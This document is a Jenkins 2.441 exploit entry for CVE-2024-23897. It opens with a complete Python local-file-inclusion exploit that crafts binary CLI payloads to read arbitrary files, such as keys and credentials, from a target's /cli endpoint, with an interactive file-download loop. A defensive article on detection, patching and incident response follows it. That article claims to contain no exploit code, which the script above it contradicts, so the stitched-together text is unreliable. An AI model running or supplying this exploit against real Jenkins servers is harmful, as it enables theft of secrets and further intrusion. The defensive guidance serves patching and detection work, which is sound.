Jenkins 2.441 - Local File Inclusion
# Exploit Title: Jenkins 2.441 - Local File Inclusion
# Date: 14/04/2024
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.jenkins.io/
# Software Link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins-2.441.zip
# Version: 2.441
# Tested on: Debian 12 (Bookworm)
# CVE: CVE-2024-23897
from argparse import ArgumentParser
from requests import Session, post, exceptions
from threading import Thread
from uuid import uuid4
from time import sleep
from re import findall
class Exploit(Thread):
def __init__(self, url: str, identifier: str):
Thread.__init__(self)
self.daemon = True
self.url = url
self.params = {"remoting": "false"}
self.identifier = identifier
self.stop_thread = False
self.listen = False
def run(self):
while not self.stop_thread:
if self.listen:
self.listen_and_print()
def stop(self):
self.stop_thread = True
def receive_next_message(self):
self.listen = True
def wait_for_message(self):
while self.listen:
sleep(0.5)
def print_formatted_output(self, output: str):
if "ERROR: No such file" in output:
print("File not found.")
elif "ERROR: Failed to parse" in output:
print("Could not read file.")
expression = "No such agent \"(.*)\" exists."
results = findall(expression, output)
print("\n".join(results))
def listen_and_print(self):
session = Session()
headers = {"Side": "download", "Session": self.identifier}
try:
response = session.post(self.url, params=self.params, headers=headers)
except (exceptions.ConnectTimeout, exceptions.ConnectionError):
print("Could not connect to target to setup the listener.")
exit(1)
self.print_formatted_output(response.text)
self.listen = False
def send_file_request(self, filepath: str):
headers = {"Side": "upload", "Session": self.identifier}
payload = get_payload(filepath)
try:
post(self.url, data=payload, params=self.params, headers=headers, timeout=4)
except (exceptions.ConnectTimeout, exceptions.ConnectionError):
print("Could not connect to the target to send the request.")
exit(1)
def read_file(self, filepath: str):
self.receive_next_message()
sleep(0.1)
self.send_file_request(filepath)
self.wait_for_message()
def get_payload_message(operation_index: int, text: str) -> bytes:
text_bytes = bytes(text, "utf-8")
text_size = len(text_bytes)
text_message = text_size.to_bytes(2) + text_bytes
message_size = len(text_message)
payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message
return payload
def get_payload(filepath: str) -> bytes:
arg_operation = 0
start_operation = 3
command = get_payload_message(arg_operation, "connect-node")
poisoned_argument = get_payload_message(arg_operation, f"@{filepath}")
payload = command + poisoned_argument + start_operation.to_bytes(1)
return payload
def start_interactive_file_read(exploit: Exploit):
print("Press Ctrl+C to exit")
while True:
filepath = input("File to download:\n> ")
filepath = make_path_absolute(filepath)
exploit.receive_next_message()
try:
exploit.read_file(filepath)
except exceptions.ReadTimeout:
print("Payload request timed out.")
def make_path_absolute(filepath: str) -> str:
if not filepath.startswith('/'):
return f"/proc/self/cwd/{filepath}"
return filepath
def format_target_url(url: str) -> str:
if url.endswith('/'):
url = url[:-1]
return f"{url}/cli"
def get_arguments():
parser = ArgumentParser(description="Local File Inclusion exploit for CVE-2024-23897")
parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/")
parser.add_argument("-p", "--path", help="The absolute path of the file to download")
return parser.parse_args()
def main():
args = get_arguments()
url = format_target_url(args.url)
filepath = args.path
identifier = str(uuid4())
exploit = Exploit(url, identifier)
exploit.start()
if filepath:
filepath = make_path_absolute(filepath)
exploit.read_file(filepath)
exploit.stop()
return
try:
start_interactive_file_read(exploit)
except KeyboardInterrupt:
pass
print("\nQuitting")
exploit.stop()
if __name__ == "__main__":
main() Jenkins 2.441 — Local File Inclusion (CVE-2024-23897)
This article explains the CVE-2024-23897 vulnerability reported against Jenkins 2.441, describes the underlying cause at a conceptual level, and focuses on safe detection, mitigation, and incident-response advice for defenders. It intentionally avoids publishable proof‑of‑concept exploit code while giving security teams practical, actionable guidance to find and fix vulnerable systems.
Summary
CVE-2024-23897 is a Local File Inclusion (LFI) vulnerability discovered in Jenkins 2.441 that allows an attacker to coerce the Jenkins CLI/agent connection handling into disclosing local file contents. The issue arises from how certain agent/CLI data structures and arguments are parsed and handled by the server, enabling specially crafted inputs to be treated as file references and returned to the requester.
Impact
- Disclosure of arbitrary files readable by the Jenkins process (workspace files, configuration, credentials stored on disk, or private keys).
- Potential for further escalation depending on sensitive files discovered (credential extraction, pipeline secrets).
- Operational disruption and potential data leakage if untrusted actors access Jenkins instances exposed to the internet or insufficiently segmented networks.
Root cause (conceptual)
At a high level, the vulnerability is caused by improper handling of agent/CLI command arguments that are interpreted as remote resources vs. local resources. When input parsing allows an attacker-controlled string to be interpreted as a reference to a local file, the server can be tricked into loading and returning file contents. The issue is an input validation/parsing bug in the path/argument handling routines used for CLI/agent operations.
Safe technical description (non-actionable)
Without reproducing exploit payloads, the interaction pattern that leads to the LFI can be summarized conceptually:
- A client initiates a CLI/agent connection to the Jenkins CLI endpoint.
- An argument or option in the connection data is crafted so the server interprets it as a file reference instead of a benign string.
- The server resolves and reads the referenced file using the Jenkins process privileges and returns its contents via the connection.
Because this explanation omits wire‑level payloads and exact byte sequences, it is sufficient for defenders to understand the class of flaw (input parsing permitting file path references) without providing an exploit recipe.
Detection — what to look for
Detection should focus on identifying exposed, unpatched Jenkins instances and anomalous CLI/agent activity. Recommended signals and logs to review:
- Presence of Jenkins instances accessible from untrusted networks or the internet (external IPs, cloud instances with open ports).
- Web and access logs showing POST requests or binary traffic to Jenkins CLI endpoints (often under /cli or the configured CLI path).
- Unusual agent/CLI connection attempts originating from unfamiliar IPs or with unexpected request patterns or high frequency.
- Audit logs showing CLI/agent commands referencing node/agent operations or connect/disconnect events outside normal maintenance windows.
- File-system activity logs where the Jenkins process reads files that are not typically accessed (private keys, /etc/passwd, configuration files).
Quick safe checks
A safe first step is to identify the Jenkins version and whether it is managed or publicly accessible. The following example shows how to safely query the Jenkins instance for its reported version using an HTTP request that does not attempt any exploit behavior.
import requests
def get_jenkins_version(url):
# Query the root endpoint and read the X-Jenkins response header if present.
r = requests.get(url, timeout=10)
return r.headers.get("X-Jenkins", "unknown")
print(get_jenkins_version("https://jenkins.example.local/"))
Explanation: This Python snippet performs a standard GET against the Jenkins root URL and returns the X-Jenkins header if present. It is a benign information-gathering step useful to determine whether the instance is likely to be running a vulnerable version. Do not send crafted CLI/agent payloads to test for the vulnerability unless you are authorized to perform intrusive tests.
Log search examples (defensive)
Search your web server or Jenkins access logs for unusual patterns such as frequent POSTs to the CLI endpoint or binary requests coming from outside known agent IP ranges. Example safe grep/search ideas:
# Search for POSTs to probable CLI endpoints in Apache/nginx logs
grep -E "POST .*?/cli|POST .*?/jenkins/cli" /var/log/nginx/access.log
Explanation: This command shows a simple, non-invasive way to locate access log entries that interact with the CLI endpoint. Replace paths with your server's configuration and investigate any unexpected rows. Do not attempt to modify requests to probe the server unless you have explicit authorization.
Mitigation and remediation
- Apply vendor patches immediately: The most reliable fix is to upgrade Jenkins to a version that contains the vendor-supplied security patch for CVE-2024-23897. Check the Jenkins security advisory and upgrade to the latest stable release.
- Restrict CLI access: Disable or restrict the CLI endpoint to trusted networks only. If possible, disallow CLI over HTTP and require secure, authenticated channels for any administrative operations.
- Network controls: Place Jenkins instances behind a firewall or VPN, restrict inbound access, and ensure only necessary IPs can reach the management endpoints.
- WAF and IDS rules: Deploy web application firewall rules to block anomalous or binary requests to the CLI endpoints. While WAFs are not substitutes for patches, they can reduce exposure as an interim measure.
- Least privilege: Run the Jenkins service with the minimum file system and operating system privileges necessary. Avoid running as root and ensure credentials and secrets are stored in supported, encrypted credential stores rather than in plain files.
- Rotate secrets: If you suspect files containing credentials were exposed, rotate keys and passwords and reissue any compromised certificates or tokens.
Hardening recommendations
- Enable and enforce strong authentication and RBAC for Jenkins users and API tokens.
- Keep Jenkins core and plugins up to date; apply security advisories promptly.
- Audit plugins: remove unused or unmaintained plugins which may increase the attack surface.
- Segment build agents from management networks; treat build machines and agents as untrusted by default.
- Monitor file-access and process behavior of the Jenkins service and alert on unexpected reads of sensitive files.
Incident response checklist
- Isolate the affected Jenkins server from untrusted networks (network block/ACLs) while retaining forensic evidence.
- Collect server logs (system, Jenkins, web server), process memory dumps (if authorized), and audit trails for the period of suspected compromise.
- Identify files accessed by the Jenkins process that are sensitive (keys, credentials) and rotate or revoke them.
- Upgrade Jenkins to a patched release and verify integrity of installed plugins and configuration.
- If credential theft or code injection is suspected, perform a full containment and rebuild according to your incident response policy.
Vulnerability lifecycle and disclosure
When dealing with known CVEs, follow responsible disclosure and update practices: subscribe to vendor security advisories, test patches in staging before production rollout, and plan maintenance windows for timely upgrades. Use an approved vulnerability scanner or third-party advisory to validate patch deployment across your estate.
References and resources
- Jenkins official site and security advisories — consult vendor guidance for CVE-2024-23897 and follow the documented upgrade path.
- Internal asset inventory — ensure all Jenkins instances are accounted for and reviewed for exposure.
- Standard hardening guides for CI/CD systems — apply principles of least privilege, network segmentation, and centralized secret management.
Conclusion
CVE-2024-23897 highlights the risk of powerful CI/CD endpoints being exposed and improperly handling user-controlled inputs. The primary defensive actions are rapid patching, restricting CLI/agent access, strengthening network controls, and careful monitoring of access logs and file reads. If you operate Jenkins in production, treat this as a high-priority remediation and follow the incident response steps above if you suspect exposure.